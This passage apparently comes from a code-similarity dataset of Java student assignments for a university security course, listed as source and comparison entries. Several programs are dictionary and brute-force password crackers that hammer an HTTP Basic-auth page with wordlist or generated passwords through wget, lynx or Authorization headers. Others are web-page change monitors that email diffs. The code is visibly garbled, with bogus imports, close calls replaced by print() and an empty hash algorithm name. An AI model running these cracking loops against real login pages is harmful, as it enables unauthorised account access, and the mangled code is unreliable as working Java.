hello1\");\n }\n\n }\n Date end\
\ = new Date();\n System.out.println(d.toString());\n \
\ System.out.println(end.toString());\n System.out.println(\"\
Seconds: \" + (end.getSeconds()-d.getSeconds()));\n }\n\n \
\ catch(IOException e)\n {\n System.out.println(\"\
hello,didnt find file.\");\n }\n }\n public static String connect(String\
\ str1)\n {\n char data[] = {'-','-','h','t','t','p','-','p','a','s','s','w','d','='};\n\
\ String str = new String(data);\n return str\
\ + str1;\n }\n\n}\n"
- "import java.io.*;\nimport java.util.*;\nimport java.text.*;\nimport java.net.*;\n\
import java.security.*;\n\n\n\npublic class WatchDog extends Thread\n{\n\n\t\n\
\tpublic static void main (String args[])\n\t{\n\t WatchDog watcher = new WatchDog();\n\
\t watcher.run();\n\t}\n\n\t\n public void run()\n {\n \t\tDateFormat\
\ longTimestamp = DateFormat.getDateTimeInstance(DateFormat.FULL, DateFormat.FULL);\n\
\ twentyFourHours = 24 * 60 * 60 * 1000;\n \n\n \t\twriteProgramLog(\"\
Program started at \" + longTimestamp.format(new Date()));\n while(true)\n\
\ {\n \t\twriteProgramLog(\"Running run at \" + longTimestamp.format(new\
\ Date()));\n compare();\n try\n {\n \
\ sleep(twentyFourHours);\n }\n catch(InterruptedException\
\ e)\n {\n writeProgramLog(\"Program terminated at \"\
\ + longTimestamp.format(new Date()));\n System.exit(0);\n \
\ }\n }\n } \n\n\t\n private void compare()\n {\n \
\ \n \n \n String watchDogFile = \"watchDogHash_rcroft.\"\
;\n String watchDogPageFile = \"watchDogPage_rcroft.html\";\n \n \
\ File watchDogLogFile = new File(watchDogFile);\n \n if(!watchDogLogFile.exists())\n\
\ {\n \n \n \n \n \
\ \n WebPage targetPage = getPage();\n if(targetPage.getSuccess())\n\
\ {\n byte[] newHash = calcHash(targetPage.getPageContents());\n\
\ writeHash(newHash, watchDogFile);\n writePage(targetPage.getPageContents(),\
\ watchDogPageFile);\n }\n }\n else\n {\n \
\ try\n {\n \n \n \
\ \n \n \n \n WebPage\
\ targetPage = getPage();\n if(targetPage.getSuccess())\n \
\ {\n \n byte[] oldHash = new\
\ byte[16]; \n byte[] newHash = calcHash(targetPage.getPageContents());\n\
\n \n DataInputStream inWatchDogFile = new\
\ DataInputStream(new FileInputStream(watchDogFile));\n inWatchDogFile.readFully(oldHash);\n\
\ inWatchDogFile.print();\n \n \
\ \n \n \n \
\ if(!java.util.Arrays.equals(oldHash, newHash))\n {\n \
\ String differences = enumerateDifferences(watchDogPageFile,\
\ targetPage.getPageContents());\n mail(differences);\n\
\ writeHash(newHash, watchDogFile);\n \
\ writePage(targetPage.getPageContents(), watchDogPageFile);\n \
\ }\n }\n }\n catch(IOException\
\ e)\n {\n writeProgramLog(\"Exception: \" + e);\n \
\ }\n }\n } \n \n\n\t\n\tprivate String enumerateDifferences(String\
\ oldPageFileName, String newPageData)\n\t{\n\t String differences = \"\";\n\
\t File newFile = null;\n\n\t try\n\t {\n\t \n\t \n\t \
\ newFile = File.createTempFile(\"new\", \"tmp\");\n String tempFilePath\
\ = newFile.getAbsolutePath();\n DataOutputStream outFile = new DataOutputStream(new\
\ FileOutputStream(tempFilePath));\n outFile.writeBytes(newPageData);\n\
\ outFile.print();\n \n \n String commandLine\
\ = \"diff \" + oldPageFileName + \" \" + tempFilePath;\n Process p =\
\ Runtime.getRuntime().exec(commandLine);\n BufferedReader diffs = new\
\ BufferedReader(new InputStreamReader(p.getInputStream()));\n String\
\ line;\n while((line = diffs.readLine()) != null)\n differences\
\ += line + \"\\n\";\n diffs.print();\n newFile.delete();\n\t\
\ }\n\t catch(IOException e)\n\t {\n\t writeProgramLog(\"Exception:\
\ \" + e);\n\t }\n\t return differences;\n\t} \n\n\t\n private void\
\ mail(String mailMessage)\n {\n \n Vector emailAddresses = new\
\ Vector();\n String watchDogEmailFile = \"watchDogEmail_rcroft.txt\";\n\
\n \n File emailFile = new File(watchDogEmailFile);\n if(emailFile.exists())\n\
\ {\n try\n {\n \n \
\ BufferedReader inWatchDogEmailFile = new BufferedReader(new InputStreamReader(new\
\ FileInputStream(watchDogEmailFile)));\n String line;\n \
\ while ((line = inWatchDogEmailFile.readLine()) != null)\n \
\ {\n line = line.trim();\n if((line\
\ != \"\") && (line != \"\\n\"))\n emailAddresses.add(line);\n\
\ }\n inWatchDogEmailFile.print();\n \t }\n\
\ \t catch(FileNotFoundException e)\n \t {\n \t writeProgramLog(\"\
Exception: \" + e);\n \t }\n \t catch(IOException e)\n \t {\n\
\ \t writeProgramLog(\"Exception: \" + e);\n \t }\n }\n\
\ else\n {\n emailAddresses.add(\"@yallara.cs.rmit.edu.\"\
);\n emailAddresses.add(\"[email protected].\");\n }\n \
\ \n if(emailAddresses.size() > 0) \n {\n \
\ try\n {\n String fromAddress = \"From: \" + \"WatchDog\
\ Program ()\" + \" <\" + System.getProperty(\"user.name\") + \"@\" + InetAddress.getLocalHost().getHostName()\
\ + \">\";\n \t\tDateFormat longTimestamp = DateFormat.getDateTimeInstance(DateFormat.FULL,\
\ DateFormat.FULL);\n String subject = \"Subject: [SEC project]\
\ Notification of target file changes (\" + longTimestamp.format(new Date()) +\"\
)\";\n for(int i = 0; i < emailAddresses.size(); i++)\n \
\ {\n String toAddress = (String) emailAddresses.get(i);\n\
\ try\n {\n URL mailURL\
\ = new URL(\"mailto: \" + toAddress);\n URLConnection\
\ mailConnection = mailURL.openConnection();\n mailConnection.setDoInput(false);\n\
\ mailConnection.setDoOutput(true);\n \
\ mailConnection.connect();\n PrintWriter mailWriter\
\ = new PrintWriter(new OutputStreamWriter(mailConnection.getOutputStream()));\n\
\ mailWriter.print(\": \" + toAddress + \"\\n\");\n \
\ mailWriter.print(fromAddress + \"\\n\");\n \
\ mailWriter.print(subject + \"\\n\");\n mailWriter.print(mailMessage);\n\
\ mailWriter.print();\n writeProgramLog(\"\
\\tNotification mailed in this run.\");\n }\n \
\ catch(MalformedURLException e)\n {\n \
\ writeProgramLog(\"Exception: \" + e);\n }\n \
\ catch(IOException e)\n {\n \
\ writeProgramLog(\"Exception: \" + e);\n }\n \
\ }\n }\n catch(UnknownHostException e)\n \
\ {\n writeProgramLog(\"Exception: \" + e);\n \
\ } \n } \n } \n \n\n\t\n private void writeHash(byte [] newHash,\
\ String fileName)\n {\n try\n {\n DataOutputStream\
\ outFile = new DataOutputStream(new FileOutputStream(fileName));\n \
\ outFile.write(newHash, 0, newHash.length);\n outFile.print();\n\
\ }\n catch(IOException e)\n {\n writeProgramLog(\"\
Exception: \" + e);\n }\n } \n \n\t\n private void writePage(String\
\ newPage, String fileName)\n {\n try\n {\n DataOutputStream\
\ outFile = new DataOutputStream(new FileOutputStream(fileName));\n \
\ outFile.writeBytes(newPage);\n outFile.print();\n }\n \
\ catch(IOException e)\n {\n writeProgramLog(\"Exception:\
\ \" + e);\n }\n } \n \n\n\t\n private void writeProgramLog(String\
\ comment)\n {\n String fileName = \"watchDogLog_rcroft.txt\";\n \
\ try\n {\n DataOutputStream outFile = new DataOutputStream(new\
\ FileOutputStream(fileName, true));\n outFile.writeBytes(comment +\
\ \"\\n\");\n outFile.flush();\n outFile.print();\n \
\ }\n catch(IOException e)\n {\n \n \n\
\ System.out.println(\"Exception: \" + e);\n }\n } \n\n\t\
\n private WebPage getPage()\n {\n WebPage tempWebPage = new WebPage();\n\
\ try\n {\n \n \n \n \
\ String urlName = \"http://www.cs.rmit.edu./students/\";\n \t \tURL targetURL=\
\ new URL(urlName);\n \tHttpURLConnection connection = (HttpURLConnection)\
\ targetURL.openConnection();\n \n \n connection.connect();\n\
\ connection.getResponseCode();\n if(connection.getResponseCode()\
\ == 200)\n\t\t {\n\t\t String fileContents = \"\";\n\t\t BufferedReader\
\ in = new BufferedReader(new InputStreamReader(connection.getInputStream()));\n\
\ String line;\n \t\t while((line = in.readLine()) != null)\n\
\t\t \t fileContents = fileContents + line + \"\\n\";\n\t\t in.print();\n\
\t\t tempWebPage.setPageContents(fileContents);\n \t\t tempWebPage.setSuccess(true);\n\
\ \t\t connection.disconnect();\n\t }\n\t else\n\t\t {\n\
\ \t\t writeProgramLog(\"Failed connect \" + connection.getResponseCode());\n\
\t\t } \n }\n catch(IOException e)\n {\n \t writeProgramLog(\"\
Exception \" + e);\n } \n return tempWebPage;\n } \n \n\t\n\
\ private byte[] calcHash(String pageContents)\n {\n byte[] outHash\
\ = null;\n try\n {\n MessageDigest msg = MessageDigest.getInstance(\"\
\");\n msg.reset();\n msg.update(pageContents.getBytes());\n\
\ outHash = msg.digest();\n msg.reset();\n }\n \
\ catch(NoSuchAlgorithmException e)\n {\n writeProgramLog(\"\
Exception: \" + e);\n }\n return outHash;\n } \n \n} \n"
- "\n\nimport java.net.*;\nimport java.io.*;\n\npublic class Dictionary{\n\n \
\ private String passwd = \"\"; \n private String command\
\ = \"\"; \n private String fname = \"/usr/share/lib/dict/words\"\
; \n private BufferedReader readin; \n private BufferedReader\
\ in; \n private PrintWriter out; \n\n \
\ private int startTime = 0; \n private int endTime = 0; \
\ \n private int totalTimes = 0; \n \n \
\ private boolean bfind = false;\n \n public Dictionary(){}\n \
\ \n public void readPasswd(){\n startTime = System.currentTimeMillis();\n\
\ try{\n readin = new BufferedReader(new FileReader(fname));\n\
\t\t\t\t while ((passwd = readin.readLine()) !=null){\n \t\t\
\ if(bfind)\n \t\t break;\n connection(passwd.trim());\n\
\t\t\t\t }\n\t\t\t\t readin.print();\n\t\t\t }catch (FileNotFoundException\
\ e1){System.out.println(e1.getMessage());}\n\t\t\t catch (IOException e2 ){System.out.println(e2.getMessage());}\n\
\t }\n \n public void connection(String passwd){\n \
\ command = \"lynx -head -dump http://sec-crack.cs.rmit.edu./SEC/2/index.php -auth=:\"\
;\n command = command + passwd;\n try{\n \
\ System.out.println(passwd +\"--> Establishing a connection.\");\n \
\ Runtime runtime = Runtime.getRuntime();\n Process\
\ p = runtime.exec(command);\n in = new BufferedReader(new InputStreamReader(p.getInputStream()));\n\
\ String inStr;\n while((inStr = in.readLine())!=\
\ null){\n if(inStr.indexOf(\"HTTP/1.1 200\") != -1 ||\
\ inStr.indexOf(\"HTTP/1.0 200\") != -1||\n inStr.indexOf(\"\
HTTP/1.1 404\") != -1 || inStr.indexOf(\"HTTP/1.0 404\") != -1){\n \
\ endTime = System.currentTimeMillis();\n \
\ totalTimes = endTime - startTime;\n System.out.println(\"\
\\nDictionary Crack Passwd successful, PassWord is \" + passwd);\n \
\ System.out.println(\"Total Times is \" + totalTimes + \" milliSec\"\
);\n System.out.println(\"Writing it dictpswd.txt\
\ file\\n\");\n out = new PrintWriter(new BufferedWriter(new\
\ FileWriter(\"dictpswd.txt\")));\n out.println(\"\
Dictionary Crack PassWord Successful! Total Times: \" + totalTimes + \" milliSec\"\
);\n out.println(\"Passwd: \"+ passwd);\n \
\ out.flush();\n bfind = true;\n\
\ }\n out.print();\n \
\ }\n in.print();\n }catch(Exception e){System.out.println(e.getMessage());}\n\
\ }\n \n public String getAnyKey()throws Exception{\n\t\t \
\ BufferedReader stdin =new BufferedReader(new InputStreamReader(System.in));\n\
\t\t String key= stdin.readLine();\n\t return key;\n\t }\n\t \
\ \n public static void main (String []args){\n\n Dictionary\
\ dc = new Dictionary();\n System.out.println(\"\\n*******************************************\"\
);\n System.out.println(\"* \
\ *\");\n System.out.println(\"* Dictionary Crack Passwd Program\
\ *\");\n System.out.println(\"* ---------------------------------\
\ *\");\n System.out.println(\"* Author: \
\ *\");\n System.out.println(\"* \
\ *\");\n System.out.println(\"*******************************************\"\
);\n System.out.println(\"\\n Dictionary Crack Passwd Information:\
\ \\n\");\n System.out.println(\"--> UserName: \");\n \
\ System.out.println(\"--> Passwd from the dictionary file: \"+ dc.fname);\n\
\ System.out.println(\"--> URL: http://sec-crack.cs.rmit.edu./SEC/2/index.php\\\
n\");\n System.out.println(\"==> Press Ctrl+C stop Crack\\n\");\n\
\ System.out.print(\"==> Press EnterKey : \");\n\t\t\t try{\n \
\ String key = dc.getAnyKey();\n }catch(Exception\
\ e){System.out.println(e.getMessage());}\n\t\t\t dc.readPasswd();\n }\n\
}"
- source_sentence: "import java.io.*;\nimport java.net.*;\nimport java.util.*;\n\n\
public class Watchdog\n{\n\tpublic static void main(String args[])\n\t{\n\t\t\n\
\t\tString mainLink=\"http://www.cs.rmit.edu./students/\";\n\t\tString sender\
\ = \"@cs.rmit.edu.\";\n\t\tString recipient = \"<webtech@acuneeds.>\";\n\t\t\
String hostName = \"yallara.cs.rmit.edu.\";\n\t\tint delay = 86400000;\n\n\t\t\
try\n\t\t{\n\t\t\tint imgSrcIndex, imgSrcEnd;\n\t\t\tString imgLink;\n\t\t\tVector\
\ imageList = new Vector();\n\t\t\tHttpURLConnection imgConnection;\n\t\t\tURL\
\ imgURL;\n\n\t\t\t\n\t\t\tEmailClient email = new EmailClient(sender, recipient,\
\ hostName);\n\n\t\t\t\n\t\t\tURL url=new URL(mainLink);\n\t\t\tHttpURLConnection\
\ connection = (HttpURLConnection) url.openConnection();\n\n\t\t\tBufferedReader\
\ webpage = new BufferedReader(new InputStreamReader(connection.getInputStream()));\n\
\n\t\t\t\n\t\t\tFileWriter fwrite = new FileWriter(\"local.txt\");\n\t\t\tBufferedWriter\
\ writefile = new BufferedWriter(fwrite);\n\n\t\t\tString line=webpage.readLine();\n\
\n\t\t\twhile (line != null)\n\t\t\t{\n\t\t\t\t\n\t\t\t\twritefile.write(line,0,line.length());\n\
\t\t\t\twritefile.newLine();\n\n\t\t\t\t\n\t\t\t\tline = line.toLowerCase();\n\
\t\t\t\timgSrcIndex=line.indexOf(\"src\");\n\n\t\t\t\tif(imgSrcIndex!=-1)\n\t\t\
\t\t{\n\t\t\t\t\t\n\t\t\t\t\timgLink = line.substring(imgSrcIndex+3);\n\t\t\t\t\
\timgSrcIndex=imgLink.indexOf(\"\\\"\");\n\t\t\t\t\timgLink = imgLink.substring(imgSrcIndex+1);\n\
\t\t\t\t\timgSrcEnd = imgLink.indexOf(\"\\\"\");\n\t\t\t\t\timgLink = imgLink.substring(0,imgSrcEnd);\n\
\n\t\t\t\t\t\n\t\t\t\t\tif (imgLink.startsWith(\"http\"))\n\t\t\t\t\t{\n\t\t\t\
\t\t\timgURL = new URL(imgLink);\n\t\t\t\t\t\timgConnection = (HttpURLConnection)\
\ imgURL.openConnection();\n\t\t\t\t\t}\n\t\t\t\t\t\n\t\t\t\t\telse\n\t\t\t\t\t\
{\n\t\t\t\t\t\timgURL = new URL(mainLink);\n\t\t\t\t\t\timgURL = new URL(imgURL,\
\ imgLink);\n\t\t\t\t\t\timgConnection = (HttpURLConnection) imgURL.openConnection();\n\
\t\t\t\t\t\timgLink = (imgConnection.getURL()).toString();\n\t\t\t\t\t}\n\n\t\t\
\t\t\t\n\t\t\t\t\timageList.add(new ImageFile(imgLink, imgConnection.getContentLength()));\n\
\t\t\t\t\timgConnection.disconnect();\n\t\t\t\t}\n\n\t\t\t\tline = webpage.readLine();\n\
\n\t\t\t}\n\n\t\t\t\n\t\t\twritefile.close();\n\t\t\tfwrite.close();\n\t\t\twebpage.close();\n\
\t\t\tconnection.disconnect();\n\n\t\t\t\n\t\t\tWatchdogThread watchdog = new\
\ WatchdogThread(mainLink, imageList, email, delay);\n\t\t}\n\n\t\tcatch (IOException\
\ ioe)\n\t\t{\n\t\t\t\n\t\t\t\n\t\t\tSystem.out.println(ioe);\n\t\t\tSystem.out.println(\"\
Please run program again.\");\n\t\t\tSystem.exit(0);\n\t\t}\n\n\t}\n\n}\n"
sentences:
- "\n\n\n\n\nimport java.io.IOException;\nimport java.net.*;\n\nimport java.io.*;\n\
import java.util.*;\n\n\n\npublic class BruteForce\n\n{\n\n static String strLetter[];\n\
\n static URL url = null;\n static URLConnection urlConnection;\n static\
\ InputStream urlStream;\n\n static String strExceptionPassword[];\n\n static\
\ int intExceptionCount = -1;\n\n static int intNumberOfConnectionAttempts =\
\ 0;\n\n static String username = \"\";\n\n static String strLastPasswordTested;\n\
\n\n\n public static void main (String args[])\n \n {\n\n \n \
\ \n Calendar calStart;\n Calendar calFinish; \n Date dateStart;\n\
\ Date dateFinish;\n lngStart;\n lngFinish;\n\n\n\n \n\
\ \n calStart = new GregorianCalendar();\n dateStart = calStart.getTime();\n\
\ lngStart = dateStart.getTime(); \n\n\n\n\n System.out.println();\n\
\ System.out.println();\n\n\n\n\n \n \n populateArray();\n\
\n\n \n \n \n \n\n boolean boolPasswordFound\
\ = false;\n boolean boolExceptionPasswordsTestedAgain = false;\n\n \
\ String strPasswd;\n\n\n\n\n String urlString\n = \"http://sec-crack.cs.rmit.edu./SEC/2/index.php\"\
;\n\n int intCounter1 = 0;\n int intCounter2 = 0;\n int intCounter3\
\ = 0;\n\n int intArrayLength = strLetter.length;\n\n\n\n\n \n \
\ \n \n \n \n strExceptionPassword = new String[5000];\n\
\n\n\n if (!boolPasswordFound) \n {\n\n\n \n \n\
\n intCounter1 = 0;\n\n while ( (!boolPasswordFound) && (intCounter1\
\ < intArrayLength) )\n {\n\n boolPasswordFound = true;\n\n\
\ boolPasswordFound \n = passwordWasFound(urlString,\n\
\ strLetter[intCounter1], \n \
\ boolPasswordFound);\n\n intCounter1++;\n\
\n }\n\n\n\n \n \n\n intCounter1 = 0;\n\n\
\ while ( (!boolPasswordFound) && (intCounter1 < intArrayLength) )\n \
\ {\n\n intCounter2 = 0;\n\n while ( (!boolPasswordFound)\
\ && (intCounter2 < intArrayLength) )\n {\n\n boolPasswordFound\
\ = true;\n\n boolPasswordFound \n = passwordWasFound\n\
\ (urlString,\n strLetter[intCounter1]\
\ \n + strLetter[intCounter2], \n \
\ boolPasswordFound);\n\n intCounter2++; \n\n \
\ }\n\n\n intCounter1++;\n\n }\n\n\n\n\n \
\ \n \n\n intCounter1 = 0;\n\n while ( (!boolPasswordFound)\
\ && (intCounter1 < intArrayLength) )\n {\n\n intCounter2 =\
\ 0;\n\n while ( (!boolPasswordFound) && (intCounter2 < intArrayLength)\
\ )\n {\n\n intCounter3 = 0;\n\n\n while\
\ ( (!boolPasswordFound) && (intCounter3 < intArrayLength) )\n {\n\
\n boolPasswordFound = true;\n\n\n boolPasswordFound\
\ \n = passwordWasFound\n (urlString,\n\
\ strLetter[intCounter1] \n \
\ + strLetter[intCounter2]\n \
\ + strLetter[intCounter3], \n boolPasswordFound);\n\
\n intCounter3++;\n\n }\n\n\n intCounter2++;\n\
\n }\n\n\n intCounter1++; \n\n }\n\n\n\n\n \
\ \n \n \n \n \n\n intCounter1\
\ = 0;\n\n while ( (!boolPasswordFound) && (intCounter1 <= intExceptionCount)\
\ )\n {\n\n boolExceptionPasswordsTestedAgain = true;\n \
\ boolPasswordFound = true;\n\n boolPasswordFound \n \
\ = passwordWasFound(urlString,\n strExceptionPassword[intCounter1],\n\
\ boolPasswordFound); \n\n intCounter1++;\n\
\n }\n\n } \n\n\n\n System.out.println();\n\n\n\n \
\ \n \n calFinish = new GregorianCalendar();\n dateFinish =\
\ calFinish.getTime();\n lngFinish = dateFinish.getTime(); \n\n\n\n\
\ \n \n System.out.println();\n System.out.println();\n\
\n\n System.out.println();\n System.out.println(\"Length of time for\
\ processing: \" + \n ((lngFinish - lngStart) / 1000)\
\ + \n \" seconds\");\n\n\n System.out.println();\n\
\ System.out.println(\"Number of connection attempts = \" + intNumberOfConnectionAttempts);\n\
\n\n System.out.println();\n System.out.println(\"Number of exceptions\
\ thrown = \" + (intExceptionCount + 1));\n\n\n if (intExceptionCount >=\
\ 0)\n {\n System.out.print(\"These EXCEPTION passwords WERE \");\n\
\n if (boolExceptionPasswordsTestedAgain)\n System.out.print(\"\
tested again.\");\n else\n System.out.print(\"NOT tested again.\"\
);\n\n System.out.println();\n }\n\n\n System.out.println();\n\
\n\n if (boolPasswordFound) \n {\n System.out.println(\"The\
\ correct password WAS found - this password is '\" + \n \
\ strLastPasswordTested + \"'.\");\n } \n else\n {\n \
\ System.out.println(\"The correct password WAS NOT found.\");\n } \n\
\ \n System.out.println();\n\n\n\n\n }\n\n\n\n\n\n\n\n static\
\ void populateArray()\n \n {\n\n strLetter = new String[52];\n\n\n \
\ strLetter[0] = \"a\";\n strLetter[1] = \"b\";\n strLetter[2]\
\ = \"c\";\n strLetter[3] = \"d\";\n strLetter[4] = \"e\";\n \
\ strLetter[5] = \"f\";\n strLetter[6] = \"g\";\n strLetter[7] =\
\ \"h\";\n strLetter[8] = \"i\";\n strLetter[9] = \"j\";\n strLetter[10]\
\ = \"k\";\n strLetter[11] = \"l\";\n strLetter[12] = \"m\";\n \
\ strLetter[13] = \"n\";\n strLetter[14] = \"o\";\n strLetter[15] =\
\ \"p\";\n strLetter[16] = \"q\";\n strLetter[17] = \"r\";\n strLetter[18]\
\ = \"s\";\n strLetter[19] = \"t\";\n strLetter[20] = \"u\";\n \
\ strLetter[21] = \"v\";\n strLetter[22] = \"w\";\n strLetter[23] =\
\ \"x\";\n strLetter[24] = \"y\";\n strLetter[25] = \"z\";\n strLetter[26]\
\ = \"A\";\n strLetter[27] = \"B\";\n strLetter[28] = \"C\";\n \
\ strLetter[29] = \"D\";\n strLetter[30] = \"E\";\n strLetter[31] =\
\ \"F\";\n strLetter[32] = \"G\";\n strLetter[33] = \"H\";\n strLetter[34]\
\ = \"I\";\n strLetter[35] = \"J\";\n strLetter[36] = \"K\";\n \
\ strLetter[37] = \"L\";\n strLetter[38] = \"M\";\n strLetter[39] =\
\ \"N\";\n strLetter[40] = \"O\";\n strLetter[41] = \"P\";\n strLetter[42]\
\ = \"Q\";\n strLetter[43] = \"R\";\n strLetter[44] = \"S\";\n \
\ strLetter[45] = \"T\";\n strLetter[46] = \"U\";\n strLetter[47] =\
\ \"V\";\n strLetter[48] = \"W\";\n strLetter[49] = \"X\";\n strLetter[50]\
\ = \"Y\";\n strLetter[51] = \"Z\";\n\n }\n\n\n\n\n\n\n\n static boolean\
\ passwordWasFound(String urlString,\n String\
\ password,\n boolean retVal)\n \n {\n\n\
\ String strEncodeInput = username + \":\" + password;\n boolean returnValue\
\ = retVal;\n boolean boolExceptionThrown = false;\n\n\n\n try\n \
\ {\n\n strLastPasswordTested = password;\n \n intNumberOfConnectionAttempts++;\n\
\n url = new URL(urlString);\n\n String encoding = new url.misc.BASE64Encoder().encode\
\ (strEncodeInput.getBytes());\n\n\n System.out.print(\"username = \"\
\ + \n username + \n \"\
\ \" +\n \"password = \" +\n \
\ password);\n\n\n\n HttpURLConnection urlConnection = (HttpURLConnection)url.openConnection();\n\
\n urlConnection.setRequestProperty(\"Authorization\", \n \
\ \" \" + encoding); \n\n System.out.println(\"\
\ response = \" + urlConnection.getResponseCode());\n\n if (urlConnection.getResponseCode()\
\ == 401)\n {\n returnValue = false; \n }\n\
\n }\n\n catch (MalformedURLException m)\n {\n boolExceptionThrown\
\ = true;\n returnValue = false;\n\n System.err.println(m);\n\
\ System.out.println(\"Malformed URL Exception error\");\n }\n\n\
\ catch (IOException io)\n {\n boolExceptionThrown = true;\n\
\ returnValue = false;\n\n System.out.println(\"IOException error\"\
);\n System.err.println(io); \n }\n\n catch (Exception e)\n\
\ {\n boolExceptionThrown = true;\n returnValue = false;\n\
\n System.out.println(\"General exception.....\");\n System.err.println(e);\
\ \n }\n\n finally\n { \n urlConnection = null;\n \
\ url = null; \n }\n\n\n if (boolExceptionThrown)\n {\n \
\ intExceptionCount++;\n strExceptionPassword[intExceptionCount] =\
\ password;\n }\n\n\n return returnValue;\n\n }\n\n}"
- "import java.Object;\nimport java.io.*;\nimport java.String;\nimport java.util.*;\n\
\nclass Dictionary{\n\n public static void main(String [] args){\n \
\ try\n {\n Date d = new Date();\n \
\ String line1=\"\";\n String ps=\"\";\n \
\ String file1 = \"words.txt\";\n String file2 = \"index.html\"\
;\n String endline=\"Authorization failed.\";\n \
\ String [] cmd = new String[4];\n cmd[0] = \"wget\";\n \
\ cmd[1] = \"--http-user=\";\n cmd[3] = \"http://sec-crack.cs.rmit.edu./SEC/2/\"\
;\n\n FileReader fr1 = new FileReader(file1);\n \
\ BufferedReader in1 = new BufferedReader(fr1);\n while((line1\
\ = in1.readLine())!=null)\n {\n try{\n \
\ cmd[2] = connect(line1);\n Runtime.getRuntime().exec(cmd);\n\
\ if(line1.length()==3)\n ps = line1;\n\
\ System.out.println(cmd[2]);\n File f =\
\ new File(file2);\n if(f.exists())\n {\n\
\ System.out.println(\"password: \" + ps);\n \
\ break;\n }\n }\n \
\ catch(IOException ex)\n {\n System.out.println(\"\
hello1\");\n }\n\n }\n Date end\
\ = new Date();\n System.out.println(d.toString());\n \
\ System.out.println(end.toString());\n System.out.println(\"\
Seconds: \" + (end.getSeconds()-d.getSeconds()));\n }\n\n \
\ catch(IOException e)\n {\n System.out.println(\"\
hello,didnt find file.\");\n }\n }\n public static String connect(String\
\ str1)\n {\n char data[] = {'-','-','h','t','t','p','-','p','a','s','s','w','d','='};\n\
\ String str = new String(data);\n return str\
\ + str1;\n }\n\n}\n"
- "\nimport java.io.*;\n\npublic class PasswordFile {\n \n private String\
\ strFilepath;\n private String strCurrWord;\n private File fWordFile;\n\
\ private BufferedReader in;\n \n \n public PasswordFile(String filepath)\
\ {\n strFilepath = filepath;\n try {\n fWordFile = new\
\ File(strFilepath);\n in = new BufferedReader(new FileReader(fWordFile));\n\
\ }\n catch(Exception e)\n {\n System.out.println(\"\
Could not open file \" + strFilepath);\n }\n }\n \n String getPassword()\
\ {\n return strCurrWord;\n }\n \n String getNextPassword() {\n\
\ try {\n strCurrWord = in.readLine();\n \n \
\ \n \n }\n catch (Exception e)\n {\n \
\ \n return null;\n }\n \n return\
\ strCurrWord;\n }\n \n}\n"
- source_sentence: "import java.io.*;\nimport java.net.*;\nimport java.net.HttpURLConnection;\n\
import javax.net.*;\nimport java.security.cert.*;\n\npublic class Dictionary\n\
{\n\tpublic static void main(String[] args)\n\t{\n\t\tBufferedReader in = null;\n\
\t\tboolean found = true;\n\t\tString word = null;\n\t\tString cmd = null;\n\t\
\tRuntime run = Runtime.getRuntime();\n\t\tProcess pro = null;\n\t\tBufferedReader\
\ inLine = null;\n\n\n\n\t\tString str = null;\n\t\tURLConnection connection =\
\ null;\n\n\t\ttry\n\t\t{\n\t\t\tFileReader reader = new FileReader(\"words\"\
);\n\t\t\tin = new BufferedReader(reader);\n\t\t\tSystem.out.println(\" cracking....\"\
);\n\t\t\t\n\t\t\t{\n\t\t\t\tfound = true;\n\t\t\t\tword = new String(in.readLine());\n\
\n\t\t\t\tcmd = \"wget --http-user= --http-passwd=\"+word +\" http://sec-crack.cs.rmit.edu./SEC/2/index.php\"\
;\n\n\t\t\t\tpro = run.exec(cmd);\n\t\t\t\tinLine = new BufferedReader(new InputStreamReader(pro.getErrorStream()));\n\
\n\n\t\t\t\tif((str=inLine.readLine())!=null)\n\t\t\t\t{\n\n\t\t\t\t\twhile ((str=inLine.readLine())!=null)\n\
\t\t\t\t\t{\n\t\t\t\t\t\tif (str.endsWith(\"Required\"))\n\t\t\t\t\t\t{\n\n\t\t\
\t\t\t\t\tfound = false;\n\t\t\t\t\t\t}\n\n\t\t\t\t\t}\n\t\t\t\t}\n\n\n\n\n\n\n\
\t\t\t\trun.gc();\n\t\t\t}\n\t\t\twhile (!found);\n\n\n\n\n\n\t\t}\n\t\tcatch\
\ (FileNotFoundException exc)\n\t\t{\n\t\t\tSystem.out.println(exc);\n\t\t}\n\t\
\tcatch (IOException exc)\n\t\t{\n\t\t\tSystem.out.println(exc);\n\t\t}\n \
\ catch (NullPointerException ex)\n {\n System.out.println(word);\n\
\ }\n\t\tfinally\n\t\t{\n\t\t\ttry\n\t\t\t{\n\t\t\t\tif (in!= null)\n\t\
\t\t\t{\n\t\t\t\t\tin.print();\n\t\t\t\t}\n\t\t\t}\n\t\t\tcatch (IOException e)\
\ {}\n\t\t}\n\t\tif (found == true)\n\t\t\tSystem.out.println(\"The password is\
\ :\" + word);\n else\n System.out.println(\"NOT FOUND!\");\n\
\t}\n}"
sentences:
- "\nimport java.net.*;\nimport java.io.*;\nimport java.misc.*;\nimport java.io.BufferedInputStream;\n\
import java.awt.*;\nimport java.awt.event.*;\n\npublic class WriteFile\n{\n \
\ String url;\n String fileName;\n int flag;\n private PrintWriter out2;\n\
\ private TextArea response;\n int status;\n int mailFlag;\n\n public\
\ WriteFile (String newUrl, String newFileName, int newFlag)\n {\n url\
\ = newUrl;\n fileName = newFileName;\n PrintWriter printW = null;\n\
\ FileOutputStream fout;\n flag = newFlag;\n status = 0;\n \
\ mailFlag = 0;\n\n \n File file = new File(fileName);\n \
\ file.delete();\n\n try\n {\n fout = new FileOutputStream(fileName,true);\n\
\ printW = new PrintWriter(fout);\n }\n catch (IOException\
\ ioe)\n {\n System.out.println(\"IO Error : \" + ioe);\n \
\ }\n\n\n URL u;\n URLConnection uc;\n\n try\n {\n \
\ u = new URL(url);\n try\n {\n \n \
\ uc = u.openConnection();\n\n InputStream content = (InputStream)uc.getInputStream();\n\
\ BufferedReader in = new BufferedReader (new InputStreamReader(content));\n\
\n String line;\n\n \n while ((line = in.readLine())\
\ != null)\n {\n \n printW.println(line);\n\
\n }\n }\n catch (Exception e)\n {\n \
\ System.out.println(\"Error: \" + e);\n }\n }\n \
\ catch (MalformedURLException e)\n {\n System.out.println(url\
\ + \" is not a parseable URL\");\n }\n \n printW.print();\n\
\n\n if(flag == 1)\n {\n \n compareDiff(\"@.rmit.edu.\"\
);\n }\n }\n\n String loadStream(InputStream in) throws IOException\n\
\ {\n int ptr = 0;\n in = new BufferedInputStream(in);\n \
\ StringBuffer buffer = new StringBuffer();\n\n while( (ptr = in.next())\
\ != -1 )\n {\n status++;\n \n buffer.append((char)ptr);\n\
\ mailFlag++;\n \n }\n return buffer.toString();\n\
